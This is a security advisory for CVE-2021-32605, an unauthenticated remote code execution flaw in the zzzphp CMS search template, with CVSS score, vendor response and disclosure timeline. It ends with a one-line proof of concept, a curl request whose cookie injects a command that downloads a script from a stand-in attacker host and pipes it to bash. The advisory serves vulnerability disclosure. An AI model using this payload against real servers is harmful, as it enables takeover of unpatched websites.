SRC-2021-0015 : zzzcms zzzphp parserIfLabel Template Injection Remote Code Execution Vulnerability

CVE ID: CVE-2021-32605

CVSS Score: 9.8, (/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Affected Vendors: zzzcms

Affected Products: zzzphp <= 2.0.3

Vulnerability Details:

This vulnerability allows remote attackers to execute arbitrary code on affected installations of zzzphp. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the processing of the search template. The issue results from the lack of proper validation of user-supplied keys when processing the search template. An attacker can leverage this vulnerability to execute code in the context of the web server.

Vendor Response:

zzzcms has issued an update to correct this vulnerability. More details can be found at: http://www.zzzcms.com/a/news/31_282_1.html

Disclosure Timeline:

- 2021-04-27 – Sent to zzzcms
- 2021-05-04 – No response from the vendor
- 2021-05-04 – Sent an email requesting a status update
- 2021-05-11 – No response from the vendor
- 2021-05-11 – Vendor releases 2.0.4 with the note - “Fix a security loophole please update it in time.”
- 2021-05-11 – Uncoordinated public release of advisory

Proof of Concept: `curl -b 'keys={if:=`curl http://attacker.tld/poc.sh|bash`}{end if}' 'http://target.tld/?location=search'`

Credit: This vulnerability was discovered by Steven Seeley (mr_me) of Qihoo 360 Vulcan Team